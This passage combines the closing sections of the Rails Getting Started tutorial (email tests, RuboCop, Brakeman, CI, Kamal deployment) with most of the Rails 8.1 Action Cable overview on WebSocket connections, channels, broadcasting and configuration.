You'll notice that we can reference the `Product` fixture by name here. Rails associates this automatically for us in the database so we don't have to manage record IDs and associations in tests.

These fixtures will be automatically inserted into the database when we run our test suite.

### [18.2. Testing Emails](#testing-emails)

In `test/models/product_test.rb`, let's add a test:

```
# test/models/product_test.rb
require "test_helper"

class ProductTest < ActiveSupport::TestCase
  include ActionMailer::TestHelper

  test "sends email notifications when back in stock" do
    product = products(:tshirt)

    # Set product out of stock
    product.update(inventory_count: 0)

    assert_emails 2 do
      product.update(inventory_count: 99)
    end
  end
end
```

Let's break down what this test is doing.

First, we include the Action Mailer test helpers so we can monitor emails sent during the test.

The `tshirt` fixture is loaded using the `products()` fixture helper and returns the Active Record object for that record. Each fixture generates a helper in the test suite to make it easy to reference fixtures by name since their database IDs may be different each run.

Then we ensure the tshirt is out of stock by updating it's inventory to 0.

Next, we use `assert_emails` to ensure 2 emails were generated by the code inside the block. To trigger the emails, we update the product's inventory count inside the block. This triggers the `notify_subscribers` callback in the Product model to send emails. Once that's done executing, `assert_emails` counts the emails and ensures it matches the expected count.

We can run the test suite with `bin/rails test` or an individual test file by passing the filename.

```
$ bin/rails test test/models/product_test.rb
Running 1 tests in a single process (parallelization threshold is 50)
Run options: --seed 3556

# Running:

.

Finished in 0.343842s, 2.9083 runs/s, 5.8166 assertions/s.
1 runs, 2 assertions, 0 failures, 0 errors, 0 skips
```

Our test passes!

Rails also generated an example test for `ProductMailer` at `test/mailers/product_mailer_test.rb`. Let's update it to make it also pass.

```
# test/mailers/product_mailer_test.rb
require "test_helper"

class ProductMailerTest < ActionMailer::TestCase
  test "in_stock" do
    mail = ProductMailer.with(product: products(:tshirt), subscriber: subscribers(:david)).in_stock
    assert_equal "In stock", mail.subject
    assert_equal [ "david@example.org" ], mail.to
    assert_equal [ "from@example.com" ], mail.from
    assert_match "Good news!", mail.body.encoded
  end
end
```

Let's run the entire test suite now and ensure all the tests pass.

```
$ bin/rails test
Running 2 tests in a single process (parallelization threshold is 50)
Run options: --seed 16302

# Running:

..

Finished in 0.665856s, 3.0037 runs/s, 10.5128 assertions/s.
2 runs, 7 assertions, 0 failures, 0 errors, 0 skips
```

You can use this as a starting place to continue building out a test suite with full coverage of the application features.

Learn more about [Testing Rails Applications](testing.html)

## [19. Consistently Formatted Code with RuboCop](#consistently-formatted-code-with-rubocop)

When writing code we may sometimes use inconsistent formatting. Rails comes with a linter called RuboCop that helps keep our code formatted consistently.

We can check our code for consistency by running:

```
$ bin/rubocop
```

This will print out any offenses and tell you what they are.

```
Inspecting 53 files
.....................................................

53 files inspected, no offenses detected
```

RuboCop can automatically fix offenses using the `--autocorrect` flag (or its short version `-a`).

```
$ bin/rubocop -a
```

## [20. Security](#security)

Rails includes the Brakeman gem for checking security issues with your application - vulnerabilities that can lead to attacks such as session hijacking, session fixation, or redirection.

Run `bin/brakeman` and it will analyze your application and output a report.

```
$ bin/brakeman
Loading scanner...
...

== Overview ==

Controllers: 6
Models: 6
Templates: 15
Errors: 0
Security Warnings: 0

== Warning Types ==


No warnings found
```

Learn more about [Securing Rails Applications](security.html)

## [21. Continuous Integration with GitHub Actions](#continuous-integration-with-github-actions)

Rails apps generate a `.github` folder that includes a prewritten GitHub Actions configuration that runs rubocop, brakeman, and our test suite.

When we push our code to a GitHub repository with GitHub Actions enabled, it will automatically run these steps and report back success or failure for each. This allows us to monitor our code changes for defects and issues and ensure consistent quality for our work.

## [22. Deploying to Production](#deploying-to-production)

And now the fun part: let’s deploy your app.

Rails comes with a deployment tool called [Kamal](https://kamal-deploy.org) that we can use to deploy our application directly to a server. Kamal uses Docker containers to run your application and deploy with zero downtime.

By default, Rails comes with a production-ready Dockerfile that Kamal will use to build the Docker image, creating a containerized version of your application with all its dependencies and configurations. This Dockerfile uses [Thruster](https://github.com/basecamp/thruster) to compress and serve assets efficiently in production.

To deploy with Kamal, we need:

* A server running Ubuntu LTS with 1GB RAM or more. The server should run the Ubuntu operating system with a Long-Term Support (LTS) version so it receives regular security and bug fixes. Hetzner, DigitalOcean, and other hosting services provide servers to get started.
* A [Docker Hub](https://hub.docker.com) account and access token. Docker Hub stores the image of the application so it can be downloaded and run on the server.

On Docker Hub, [create a Repository](https://hub.docker.com/repository/create) for your application image. Use "store" as the name for the repository.

Open `config/deploy.yml` and replace `192.168.0.1` with your server's IP address and `your-user` with your Docker Hub username.

```
# config/deploy.yml
# Name of your application. Used to uniquely configure containers.
service: store

# Name of the container image.
image: your-user/store

# Deploy to these servers.
servers:
  web:
    - 192.168.0.1

# Credentials for your image host.
registry:
  # Specify the registry server, if you're not using Docker Hub
  # server: registry.digitalocean.com / ghcr.io / ...
  username: your-user
```

Under the `proxy:` section, you can add a domain to enable SSL for your application too. Make sure your DNS record points to the server and Kamal will use LetsEncrypt to issue an SSL certificate for the domain.

```
# config/deploy.yml
proxy:
  ssl: true
  host: app.example.com
```

[Create an access token](https://app.docker.com/settings/personal-access-tokens/create) with Read & Write permissions on Docker's website so Kamal can push the Docker image for your application.

Then export the access token in the terminal so Kamal can find it.

```
export KAMAL_REGISTRY_PASSWORD=your-access-token
```

Run the following command to set up your server and deploy your application for the first time.

```
$ bin/kamal setup
```

Congratulations! Your new Rails application is live and in production!

To view your new Rails app in action, open your browser and enter your server's IP address. You should see your store up and running.

After this, when you make changes to your app and want to push them to production, you can run the following:

```
$ bin/kamal deploy
```

### [22.1. Adding a User to Production](#adding-a-user-to-production)

To create and edit products in production, we need a User record in the production database.

You can use Kamal to open a production Rails console.

```
$ bin/kamal console
```

```
store(prod)> User.create!(email_address: "you@example.org", password: "s3cr3t", password_confirmation: "s3cr3t")
```

Now you can log in to production with this email and password and manage products.

### [22.2. Background Jobs using Solid Queue](#background-jobs-using-solid-queue)

Background jobs allow you to run tasks asynchronously behind-the-scenes in a separate process, preventing them from interrupting the user experience. Imagine sending in stock emails to 10,000 recipients. It could take a while, so we can offload that task to a background job to keep the Rails app responsive.

In development, Rails uses the `:async` queue adapter to process background jobs with ActiveJob. Async stores pending jobs in memory but it will lose pending jobs on restart. This is great for development, but not production.

To make background jobs more robust, Rails uses `solid_queue` for production environments. Solid Queue stores jobs in the database and executes them in a separate process.

Solid Queue is enabled for our production Kamal deployment using the `SOLID_QUEUE_IN_PUMA: true` environment variable to `config/deploy.yml`. This tells our web server, Puma, to start and stop the Solid Queue process automatically.

When emails are sent with Action Mailer's `deliver_later`, these emails will be sent to Active Job for sending in the background so they don't delay the HTTP request. With Solid Queue in production, emails will be sent in the background, automatically retried if they fail to send, and jobs are kept safe in the database during restarts.

## [23. What's Next?](#what-s-next-questionmark)

Congratulations on building and deploying your first Rails application!

Next, follow the [Sign Up and Settings tutorial](sign_up_and_settings.html) to continue learning.

We also recommend learning more by reading other Ruby on Rails Guides:

* [Active Record Basics](active_record_basics.html)
* [Layouts and Rendering in Rails](layouts_and_rendering.html)
* [Testing Rails Applications](testing.html)
* [Debugging Rails Applications](debugging_rails_applications.html)
* [Securing Rails Applications](security.html)

Happy building!

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/action_cable_overview.html
----

***

## [1. What is Action Cable?](#what-is-action-cable-questionmark)

Action Cable seamlessly integrates [WebSockets](https://en.wikipedia.org/wiki/WebSocket) with the rest of your Rails application. It allows for real-time features to be written in Ruby in the same style and form as the rest of your Rails application, while still being performant and scalable. It's a full-stack offering that provides both a client-side JavaScript framework and a server-side Ruby framework. You have access to your entire domain model written with Active Record or your ORM of choice.

## [2. Terminology](#terminology)

Action Cable uses WebSockets instead of the HTTP request-response protocol. Both Action Cable and WebSockets introduce some less familiar terminology:

### [2.1. Connections](#terminology-connections)

*Connections* form the foundation of the client-server relationship. A single Action Cable server can handle multiple connection instances. It has one connection instance per WebSocket connection. A single user may have multiple WebSockets open to your application if they use multiple browser tabs or devices.

### [2.2. Consumers](#consumers)

The client of a WebSocket connection is called the *consumer*. In Action Cable, the consumer is created by the client-side JavaScript framework.

### [2.3. Channels](#terminology-channels)

Each consumer can, in turn, subscribe to multiple *channels*. Each channel encapsulates a logical unit of work, similar to what a controller does in a typical MVC setup. For example, you could have a `ChatChannel` and an `AppearancesChannel`, and a consumer could be subscribed to either or both of these channels. At the very least, a consumer should be subscribed to one channel.

### [2.4. Subscribers](#subscribers)

When the consumer is subscribed to a channel, they act as a *subscriber*. The connection between the subscriber and the channel is, surprise-surprise, called a subscription. A consumer can act as a subscriber to a given channel any number of times. For example, a consumer could subscribe to multiple chat rooms at the same time. (And remember that a physical user may have multiple consumers, one per tab/device open to your connection).

### [2.5. Pub/Sub](#pub-sub)

[Pub/Sub](https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe_pattern) or Publish-Subscribe refers to a message queue paradigm whereby senders of information (publishers), send data to an abstract class of recipients (subscribers), without specifying individual recipients. Action Cable uses this approach to communicate between the server and many clients.

### [2.6. Broadcastings](#terminology-broadcastings)

A broadcasting is a pub/sub link where anything transmitted by the broadcaster is sent directly to the channel subscribers who are streaming that named broadcasting. Each channel can be streaming zero or more broadcastings.

## [3. Server-Side Components](#server-side-components)

### [3.1. Connections](#server-side-components-connections)

For every WebSocket accepted by the server, a connection object is instantiated. This object becomes the parent of all the *channel subscriptions* that are created from thereon. The connection itself does not deal with any specific application logic beyond authentication and authorization. The client of a WebSocket connection is called the connection *consumer*. An individual user will create one consumer-connection pair per browser tab, window, or device they have open.

Connections are instances of `ApplicationCable::Connection`, which extends [`ActionCable::Connection::Base`](https://api.rubyonrails.org/v8.1.4/classes/ActionCable/Connection/Base.html). In `ApplicationCable::Connection`, you authorize the incoming connection and proceed to establish it if the user can be identified.

#### [3.1.1. Connection Setup](#connection-setup)

```
# app/channels/application_cable/connection.rb
module ApplicationCable
  class Connection < ActionCable::Connection::Base
    identified_by :current_user

    def connect
      self.current_user = find_verified_user
    end

    private
      def find_verified_user
        if verified_user = User.find_by(id: cookies.encrypted[:user_id])
          verified_user
        else
          reject_unauthorized_connection
        end
      end
  end
end
```

Here [`identified_by`](https://api.rubyonrails.org/v8.1.4/classes/ActionCable/Connection/Identification/ClassMethods.html#method-i-identified_by) designates a connection identifier that can be used to find the specific connection later. Note that anything marked as an identifier will automatically create a delegate by the same name on any channel instances created off the connection.

This example relies on the fact that you will already have handled authentication of the user somewhere else in your application, and that a successful authentication sets an encrypted cookie with the user ID.

The cookie is then automatically sent to the connection instance when a new connection is attempted, and you use that to set the `current_user`. By identifying the connection by this same current user, you're also ensuring that you can later retrieve all open connections by a given user (and potentially disconnect them all if the user is deleted or unauthorized).

If your authentication approach includes using a session, you use cookie store for the session, your session cookie is named `_session` and the user ID key is `user_id` you can use this approach:

```
verified_user = User.find_by(id: cookies.encrypted["_session"]["user_id"])
```

#### [3.1.2. Exception Handling](#server-side-components-connections-exception-handling)

By default, unhandled exceptions are caught and logged to Rails' logger. If you would like to globally intercept these exceptions and report them to an external bug tracking service, for example, you can do so with [`rescue_from`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Rescuable/ClassMethods.html#method-i-rescue_from):

```
# app/channels/application_cable/connection.rb
module ApplicationCable
  class Connection < ActionCable::Connection::Base
    rescue_from StandardError, with: :report_error

    private
      def report_error(e)
        SomeExternalBugtrackingService.notify(e)
      end
  end
end
```

#### [3.1.3. Connection Callbacks](#connection-callbacks)

[`ActionCable::Connection::Callbacks`](https://api.rubyonrails.org/v8.1.4/classes/ActionCable/Connection/Callbacks.html) provides callback hooks that are invoked when sending commands to the client, such as when subscribing, unsubscribing, or performing an action:

* [`before_command`](https://api.rubyonrails.org/v8.1.4/classes/ActionCable/Connection/Callbacks/ClassMethods.html#method-i-before_command)
* [`after_command`](https://api.rubyonrails.org/v8.1.4/classes/ActionCable/Connection/Callbacks/ClassMethods.html#method-i-after_command)
* [`around_command`](https://api.rubyonrails.org/v8.1.4/classes/ActionCable/Connection/Callbacks/ClassMethods.html#method-i-around_command)

### [3.2. Channels](#server-side-components-channels)

A *channel* encapsulates a logical unit of work, similar to what a controller does in a typical MVC setup. By default, Rails creates a parent `ApplicationCable::Channel` class (which extends [`ActionCable::Channel::Base`](https://api.rubyonrails.org/v8.1.4/classes/ActionCable/Channel/Base.html)) for encapsulating shared logic between your channels, when you use the channel generator for the first time.

#### [3.2.1. Parent Channel Setup](#parent-channel-setup)

```
# app/channels/application_cable/channel.rb
module ApplicationCable
  class Channel < ActionCable::Channel::Base
  end
end
```

Your own channel classes could then look like these examples:

```
# app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
end
```

```
# app/channels/appearance_channel.rb
class AppearanceChannel < ApplicationCable::Channel
end
```

A consumer could then be subscribed to either or both of these channels.

#### [3.2.2. Subscriptions](#server-side-components-channels-subscriptions)

Consumers subscribe to channels, acting as *subscribers*. Their connection is called a *subscription*. Produced messages are then routed to these channel subscriptions based on an identifier sent by the channel consumer.

```
# app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
  # Called when the consumer has successfully
  # become a subscriber to this channel.
  def subscribed
  end
end
```

#### [3.2.3. Exception Handling](#server-side-components-channels-exception-handling)

As with `ApplicationCable::Connection`, you can also use [`rescue_from`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Rescuable/ClassMethods.html#method-i-rescue_from) on a specific channel to handle raised exceptions:

```
# app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
  rescue_from "MyError", with: :deliver_error_message

  private
    def deliver_error_message(e)
      # broadcast_to(...)
    end
end
```

#### [3.2.4. Channel Callbacks](#channel-callbacks)

[`ActionCable::Channel::Callbacks`](https://api.rubyonrails.org/v8.1.4/classes/ActionCable/Channel/Callbacks.html) provides callback hooks that are invoked during the life cycle of a channel:

* [`before_subscribe`](https://api.rubyonrails.org/v8.1.4/classes/ActionCable/Channel/Callbacks/ClassMethods.html#method-i-before_subscribe)
* [`after_subscribe`](https://api.rubyonrails.org/v8.1.4/classes/ActionCable/Channel/Callbacks/ClassMethods.html#method-i-after_subscribe) (aliased as [`on_subscribe`](https://api.rubyonrails.org/v8.1.4/classes/ActionCable/Channel/Callbacks/ClassMethods.html#method-i-on_subscribe))
* [`before_unsubscribe`](https://api.rubyonrails.org/v8.1.4/classes/ActionCable/Channel/Callbacks/ClassMethods.html#method-i-before_unsubscribe)
* [`after_unsubscribe`](https://api.rubyonrails.org/v8.1.4/classes/ActionCable/Channel/Callbacks/ClassMethods.html#method-i-after_unsubscribe) (aliased as [`on_unsubscribe`](https://api.rubyonrails.org/v8.1.4/classes/ActionCable/Channel/Callbacks/ClassMethods.html#method-i-on_unsubscribe))

## [4. Client-Side Components](#client-side-components)

### [4.1. Connections](#connections)

Consumers require an instance of the connection on their side. This can be established using the following JavaScript, which is generated by default by Rails:

#### [4.1.1. Connect Consumer](#connect-consumer)

```
// app/javascript/channels/consumer.js
// Action Cable provides the framework to deal with WebSockets in Rails.
// You can generate new channels where WebSocket features live using the `bin/rails generate channel` command.

import { createConsumer } from "@rails/actioncable"

export default createConsumer()
```

This will ready a consumer that'll connect against `/cable` on your server by default. The connection won't be established until you've also specified at least one subscription you're interested in having.

The consumer can optionally take an argument that specifies the URL to connect to. This can be a string or a function that returns a string that will be called when the WebSocket is opened.

```
// Specify a different URL to connect to
createConsumer('wss://example.com/cable')
// Or when using websockets over HTTP
createConsumer('https://ws.example.com/cable')

// Use a function to dynamically generate the URL
createConsumer(getWebSocketURL)

function getWebSocketURL() {
  const token = localStorage.getItem('auth-token')
  return `wss://example.com/cable?token=${token}`
}
```

#### [4.1.2. Subscriber](#subscriber)

A consumer becomes a subscriber by creating a subscription to a given channel:

```
// app/javascript/channels/chat_channel.js
import consumer from "./consumer"

consumer.subscriptions.create({ channel: "ChatChannel", room: "Best Room" })

// app/javascript/channels/appearance_channel.js
import consumer from "./consumer"

consumer.subscriptions.create({ channel: "AppearanceChannel" })
```

While this creates the subscription, the functionality needed to respond to received data will be described later on.

A consumer can act as a subscriber to a given channel any number of times. For example, a consumer could subscribe to multiple chat rooms at the same time:

```
// app/javascript/channels/chat_channel.js
import consumer from "./consumer"

consumer.subscriptions.create({ channel: "ChatChannel", room: "1st Room" })
consumer.subscriptions.create({ channel: "ChatChannel", room: "2nd Room" })
```

## [5. Client-Server Interactions](#client-server-interactions)

### [5.1. Streams](#streams)

*Streams* provide the mechanism by which channels route published content (broadcasts) to their subscribers. For example, the following code uses [`stream_from`](https://api.rubyonrails.org/v8.1.4/classes/ActionCable/Channel/Streams.html#method-i-stream_from) to subscribe to the broadcasting named `chat_Best Room` when the value of the `:room` parameter is `"Best Room"`:

```
# app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
  def subscribed
    stream_from "chat_#{params[:room]}"
  end
end
```

Then, elsewhere in your Rails application, you can broadcast to such a room by calling [`broadcast`](https://api.rubyonrails.org/v8.1.4/classes/ActionCable/Server/Broadcasting.html#method-i-broadcast):

```
ActionCable.server.broadcast("chat_Best Room", { body: "This Room is Best Room." })
```

If you have a stream that is related to a model, then the broadcasting name can be generated from the channel and model. For example, the following code uses [`stream_for`](https://api.rubyonrails.org/v8.1.4/classes/ActionCable/Channel/Streams.html#method-i-stream_for) to subscribe to a broadcasting like `posts:Z2lkOi8vVGVzdEFwcC9Qb3N0LzE`, where `Z2lkOi8vVGVzdEFwcC9Qb3N0LzE` is the GlobalID of the Post model.

```
class PostsChannel < ApplicationCable::Channel
  def subscribed
    post = Post.find(params[:id])
    stream_for post
  end
end
```

You can then broadcast to this channel by calling [`broadcast_to`](https://api.rubyonrails.org/v8.1.4/classes/ActionCable/Channel/Broadcasting/ClassMethods.html#method-i-broadcast_to):

```
PostsChannel.broadcast_to(@post, @comment)
```

### [5.2. Broadcastings](#client-server-interactions-broadcastings)

A *broadcasting* is a pub/sub link where anything transmitted by a publisher is routed directly to the channel subscribers who are streaming that named broadcasting. Each channel can be streaming zero or more broadcastings.

Broadcastings are purely an online queue and time-dependent. If a consumer is not streaming (subscribed to a given channel), they'll not get the broadcast should they connect later.

### [5.3. Subscriptions](#client-server-interactions-subscriptions)

When a consumer is subscribed to a channel, they act as a subscriber. This connection is called a subscription. Incoming messages are then routed to these channel subscriptions based on an identifier sent by the cable consumer.

```
// app/javascript/channels/chat_channel.js
import consumer from "./consumer"

consumer.subscriptions.create({ channel: "ChatChannel", room: "Best Room" }, {
  received(data) {
    this.appendLine(data)
  },

  appendLine(data) {
    const html = this.createLine(data)
    const element = document.querySelector("[data-chat-room='Best Room']")
    element.insertAdjacentHTML("beforeend", html)
  },

  createLine(data) {
    return `
      <article class="chat-line">
        <span class="speaker">${data["sent_by"]}</span>
        <span class="body">${data["body"]}</span>
      </article>
    `
  }
})
```

### [5.4. Passing Parameters to Channels](#passing-parameters-to-channels)

You can pass parameters from the client-side to the server-side when creating a subscription. For example:

```
# app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
  def subscribed
    stream_from "chat_#{params[:room]}"
  end
end
```

An object passed as the first argument to `subscriptions.create` becomes the params hash in the cable channel. The keyword `channel` is required:

```
// app/javascript/channels/chat_channel.js
import consumer from "./consumer"

consumer.subscriptions.create({ channel: "ChatChannel", room: "Best Room" }, {
  received(data) {
    this.appendLine(data)
  },

  appendLine(data) {
    const html = this.createLine(data)
    const element = document.querySelector("[data-chat-room='Best Room']")
    element.insertAdjacentHTML("beforeend", html)
  },

  createLine(data) {
    return `
      <article class="chat-line">
        <span class="speaker">${data["sent_by"]}</span>
        <span class="body">${data["body"]}</span>
      </article>
    `
  }
})
```

```
# Somewhere in your app this is called, perhaps
# from a NewCommentJob.
ActionCable.server.broadcast(
  "chat_#{room}",
  {
    sent_by: "Paul",
    body: "This is a cool chat app."
  }
)
```

### [5.5. Rebroadcasting a Message](#rebroadcasting-a-message)

A common use case is to *rebroadcast* a message sent by one client to any other connected clients.

```
# app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
  def subscribed
    stream_from "chat_#{params[:room]}"
  end

  def receive(data)
    ActionCable.server.broadcast("chat_#{params[:room]}", data)
  end
end
```

```
// app/javascript/channels/chat_channel.js
import consumer from "./consumer"

const chatChannel = consumer.subscriptions.create({ channel: "ChatChannel", room: "Best Room" }, {
  received(data) {
    // data => { sent_by: "Paul", body: "This is a cool chat app." }
  }
})

chatChannel.send({ sent_by: "Paul", body: "This is a cool chat app." })
```

The rebroadcast will be received by all connected clients, *including* the client that sent the message. Note that params are the same as they were when you subscribed to the channel.

## [6. Full-Stack Examples](#full-stack-examples)

The following setup steps are common to both examples:

1. [Set up your connection](#connection-setup).
2. [Set up your parent channel](#parent-channel-setup).
3. [Connect your consumer](#connect-consumer).

### [6.1. Example 1: User Appearances](#example-1-user-appearances)

Here's a simple example of a channel that tracks whether a user is online or not and what page they're on. (This is useful for creating presence features like showing a green dot next to a username if they're online).

Create the server-side appearance channel:

```
# app/channels/appearance_channel.rb
class AppearanceChannel < ApplicationCable::Channel
  def subscribed
    current_user.appear
  end

  def unsubscribed
    current_user.disappear
  end

  def appear(data)
    current_user.appear(on: data["appearing_on"])
  end

  def away
    current_user.away
  end
end
```

When a subscription is initiated the `subscribed` callback gets fired, and we take that opportunity to say "the current user has indeed appeared". That appear/disappear API could be backed by Redis, a database, or whatever else.

Create the client-side appearance channel subscription:

```
// app/javascript/channels/appearance_channel.js
import consumer from "./consumer"

consumer.subscriptions.create("AppearanceChannel", {
  // Called once when the subscription is created.
  initialized() {
    this.update = this.update.bind(this)
  },

  // Called when the subscription is ready for use on the server.
  connected() {
    this.install()
    this.update()
  },

  // Called when the WebSocket connection is closed.
  disconnected() {
    this.uninstall()
  },

  // Called when the subscription is rejected by the server.
  rejected() {
    this.uninstall()
  },

  update() {
    this.documentIsActive ? this.appear() : this.away()
  },

  appear() {
    // Calls `AppearanceChannel#appear(data)` on the server.
    this.perform("appear", { appearing_on: this.appearingOn })
  },

  away() {
    // Calls `AppearanceChannel#away` on the server.
    this.perform("away")
  },

  install() {
    window.addEventListener("focus", this.update)
    window.addEventListener("blur", this.update)
    document.addEventListener("turbo:load", this.update)
    document.addEventListener("visibilitychange", this.update)
  },

  uninstall() {
    window.removeEventListener("focus", this.update)
    window.removeEventListener("blur", this.update)
    document.removeEventListener("turbo:load", this.update)
    document.removeEventListener("visibilitychange", this.update)
  },

  get documentIsActive() {
    return document.visibilityState === "visible" && document.hasFocus()
  },

  get appearingOn() {
    const element = document.querySelector("[data-appearing-on]")
    return element ? element.getAttribute("data-appearing-on") : null
  }
})
```

#### [6.1.1. Client-Server Interaction](#client-server-interaction)

1. **Client** connects to the **Server** via `createConsumer()`. (`consumer.js`). The **Server** identifies this connection by `current_user`.

2. **Client** subscribes to the appearance channel via `consumer.subscriptions.create({ channel: "AppearanceChannel" })`. (`appearance_channel.js`)

3. **Server** recognizes a new subscription has been initiated for the appearance channel and runs its `subscribed` callback, calling the `appear` method on `current_user`. (`appearance_channel.rb`)

4. **Client** recognizes that a subscription has been established and calls `connected` (`appearance_channel.js`), which in turn calls `install` and `appear`. `appear` calls `AppearanceChannel#appear(data)` on the server, and supplies a data hash of `{ appearing_on: this.appearingOn }`. This is possible because the server-side channel instance automatically exposes all public methods declared on the class (minus the callbacks), so that these can be reached as remote procedure calls via a subscription's `perform` method.

5. **Server** receives the request for the `appear` action on the appearance channel for the connection identified by `current_user` (`appearance_channel.rb`). **Server** retrieves the data with the `:appearing_on` key from the data hash and sets it as the value for the `:on` key being passed to `current_user.appear`.

### [6.2. Example 2: Receiving New Web Notifications](#example-2-receiving-new-web-notifications)

The appearance example was all about exposing server functionality to client-side invocation over the WebSocket connection. But the great thing about WebSockets is that it's a two-way street. So, now, let's show an example where the server invokes an action on the client.

This is a web notification channel that allows you to trigger client-side web notifications when you broadcast to the relevant streams:

Create the server-side web notifications channel:

```
# app/channels/web_notifications_channel.rb
class WebNotificationsChannel < ApplicationCable::Channel
  def subscribed
    stream_for current_user
  end
end
```

Create the client-side web notifications channel subscription:

```
// app/javascript/channels/web_notifications_channel.js
// Client-side which assumes you've already requested
// the right to send web notifications.
import consumer from "./consumer"

consumer.subscriptions.create("WebNotificationsChannel", {
  received(data) {
    new Notification(data["title"], { body: data["body"] })
  }
})
```

Broadcast content to a web notification channel instance from elsewhere in your application:

```
# Somewhere in your app this is called, perhaps from a NewCommentJob
WebNotificationsChannel.broadcast_to(
  current_user,
  title: "New things!",
  body: "All the news fit to print"
)
```

The `WebNotificationsChannel.broadcast_to` call places a message in the current subscription adapter's pubsub queue under a separate broadcasting name for each user. For a user with an ID of 1, the broadcasting name would be `web_notifications:1`.

The channel has been instructed to stream everything that arrives at `web_notifications:1` directly to the client by invoking the `received` callback. The data passed as an argument is the hash sent as the second parameter to the server-side broadcast call, JSON encoded for the trip across the wire and unpacked for the data argument arriving as `received`.

### [6.3. More Complete Examples](#more-complete-examples)

See the [rails/actioncable-examples](https://github.com/rails/actioncable-examples) repository for a full example of how to set up Action Cable in a Rails app and adding channels.

## [7. Configuration](#configuration)

Action Cable has two required configurations: a subscription adapter and allowed request origins.

### [7.1. Subscription Adapter](#subscription-adapter)

By default, Action Cable looks for a configuration file in `config/cable.yml`. The file must specify an adapter for each Rails environment. See the [Dependencies](#dependencies) section for additional information on adapters.

```
development:
  adapter: async

test:
  adapter: test

production:
  adapter: redis
  url: redis://10.10.3.153:6381
  channel_prefix: appname_production
```

#### [7.1.1. Adapter Configuration](#adapter-configuration)

Below is a list of the subscription adapters available for end-users.

##### [7.1.1.1. Async Adapter](#async-adapter)

The async adapter is intended for development/testing and should not be used in production.

The async adapter only works within the same process, so for manually triggering cable updates from a console and seeing results in the browser, you must do so from the web console (running inside the dev process), not a terminal started via `bin/rails console`! Add `console` to any action or any ERB template view to make the web console appear.

##### [7.1.1.2. Solid Cable Adapter](#solid-cable-adapter)

The Solid Cable adapter is a database-backed solution that uses Active Record. It has been tested with MySQL, SQLite, and PostgreSQL. Running `bin/rails solid_cable:install` will automatically set up `config/cable.yml` and create `db/cable_schema.rb`. After that, you must manually update `config/database.yml`, adjusting it based on your database. See [Solid Cable Installation](https://github.com/rails/solid_cable?tab=readme-ov-file#installation).

##### [7.1.1.3. Redis Adapter](#redis-adapter)

The Redis adapter requires users to provide a URL pointing to the Redis server. Additionally, a `channel_prefix` may be provided to avoid channel name collisions when using the same Redis server for multiple applications. See the [Redis Pub/Sub documentation](https://redis.io/docs/manual/pubsub/#database--scoping) for more details.

The Redis adapter also supports SSL/TLS connections. The required SSL/TLS parameters can be passed in `ssl_params` key in the configuration YAML file.

```
production:
  adapter: redis
  url: rediss://10.10.3.153:tls_port
  channel_prefix: appname_production
  ssl_params:
    ca_file: "/path/to/ca.crt"
```

The options given to `ssl_params` are passed directly to the `OpenSSL::SSL::SSLContext#set_params` method and can be any valid attribute of the SSL context. Please refer to the [OpenSSL::SSL::SSLContext documentation](https://docs.ruby-lang.org/en/master/OpenSSL/SSL/SSLContext.html) for other available attributes.

If you are using self-signed certificates for redis adapter behind a firewall and opt to skip certificate check, then the ssl `verify_mode` should be set as `OpenSSL::SSL::VERIFY_NONE`.

It is not recommended to use `VERIFY_NONE` in production unless you absolutely understand the security implications. In order to set this option for the Redis adapter, the config should be `ssl_params: { verify_mode: <%= OpenSSL::SSL::VERIFY_NONE %> }`.

##### [7.1.1.4. PostgreSQL Adapter](#postgresql-adapter)

The PostgreSQL adapter uses Active Record's connection pool, and thus the application's `config/database.yml` database configuration, for its connection. This may change in the future. [#27214](https://github.com/rails/rails/issues/27214)

PostgreSQL has a [8000 bytes limit](https://www.postgresql.org/docs/current/sql-notify.html) on `NOTIFY` (the command used under the hood for sending notifications) which might be a constraint when dealing with large payloads.

### [7.2. Allowed Request Origins](#allowed-request-origins)

Action Cable will only accept requests from specified origins, which are passed to the server config as an array. The origins can be instances of strings or regular expressions, against which a check for the match will be performed.

```
config.action_cable.allowed_request_origins = ["https://rubyonrails.com", %r{http://ruby.*}]
```

To disable and allow requests from any origin:

```
config.action_cable.disable_request_forgery_protection = true
```

By default, Action Cable allows all requests from localhost:3000 when running in the development environment.

### [7.3. Consumer Configuration](#consumer-configuration)

To configure the URL, add a call to [`action_cable_meta_tag`](https://api.rubyonrails.org/v8.1.4/classes/ActionCable/Helpers/ActionCableHelper.html#method-i-action_cable_meta_tag) in your HTML layout HEAD. This uses a URL or path typically set via [`config.action_cable.url`](configuring.html#config-action-cable-url) in the environment configuration files.

### [7.4. Worker Pool Configuration](#worker-pool-configuration)

The worker pool is used to run connection callbacks and channel actions in isolation from the server's main thread. Action Cable allows the application to configure the number of simultaneously processed threads in the worker pool.

```
config.action_cable.worker_pool_size = 4
```

Also, note that your server must provide at least the same number of database connections as you have workers. The default worker pool size is set to 4, so that means you have to make at least 4 database connections available. You can change that in `config/database.yml` through the `pool` attribute.

### [7.5. Client-side Logging](#client-side-logging)

Client-side logging is disabled by default. You can enable this by setting the `ActionCable.logger.enabled` to true.

```
import * as ActionCable from '@rails/actioncable'

ActionCable.logger.enabled = true
```

### [7.6. Other Configurations](#other-configurations)

The other common option to configure is the log tags applied to the per-connection logger. Here's an example that uses the user account id if available, else "no-account" while tagging:

```
config.action_cable.log_tags = [
  -> request { request.env["user_account_id"] || "no-account" },
  :action_cable,
  -> request { request.uuid }
]
```

For a full list of all configuration options, see the `ActionCable::Server::Configuration` class.

## [8. Running Standalone Cable Servers](#running-standalone-cable-servers)

Action Cable can either run as part of your Rails application, or as a standalone server. In development, running as part of your Rails app is generally fine, but in production you should run it as a standalone.

### [8.1. In App](#in-app)

Action Cable can run alongside your Rails application. For example, to listen for WebSocket requests on `/websocket`, specify that path to [`config.action_cable.mount_path`](configuring.html#config-action-cable-mount-path):

```
# config/application.rb
class Application < Rails::Application
  config.action_cable.mount_path = "/websocket"
end
```

